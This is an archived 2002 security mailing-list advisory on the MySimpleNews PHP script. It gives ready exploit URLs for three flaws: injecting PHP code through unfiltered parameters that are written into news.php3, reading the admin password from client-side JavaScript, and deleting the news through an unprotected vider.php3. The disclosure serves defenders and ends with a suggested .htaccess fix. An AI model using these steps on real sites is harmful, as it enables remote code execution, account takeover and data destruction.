MySimpleNews (PHP)

From: Frog Man (leseulfrogat_private)
Date: Wed Oct 02 2002 - 13:17:53 PDT

  • Next message: Jonathan G. Lampe: "Kill a Unisys Clearpath with nmap port scan" 

    Informations :
같같같같같같같
Language : PHP
Tested version : 1
Website : ?
Comment : Very simple code.


a) Writing PHP code in a PHP file and execution of this code.
Problem :
같같같같�
----------------- users.php -----------------
  <?
$fp=fopen("news.php3","a");
fwrite($fp,"Post� Par [$LOGIN]\n");
fwrite($fp,"Le $DATA\n<br>");
fwrite($fp,"$MESS\n<hr>");
fclose($fp);
?>
----------------- users.php -----------------

Exploit :
같같같같�
http://[target]/users.php?LOGIN=[PHP code]
or
http://[target]/users.php?DATA=[PHP code]
or
http://[target]/users.php?MESS=[PHP code]
Execution : http://[target]/news.php3


b) Recovery of admin's password.
Problem :
같같같같�
------------------ admin.html ------------------
moncode = prompt('MySimpleNews - Administration','');
if (moncode != "[PASSWORD]")
		{
		location.href="about:Erreur 403";
		}
------------------ admin.html ------------------

Exploit :
같같같같�
view-source:http://[target]/admin.html

c) Deleting news.
Problem :
같같같같�
No security in the file.

Exploit :
같같같같�
http://[target]/vider.php3






Patch :
같같같�
Use of htaccess.

More details in french :
http://www.frog-man.org/tutos/MySimpleNews.txt


Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FMySimpleNews.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools


frog-m@n


_________________________________________________________________
Discutez en ligne avec vos amis ! http://messenger.msn.fr

    This archive was generated by hypermail 2b30 : Wed Oct 02 2002 - 15:30:36 PDT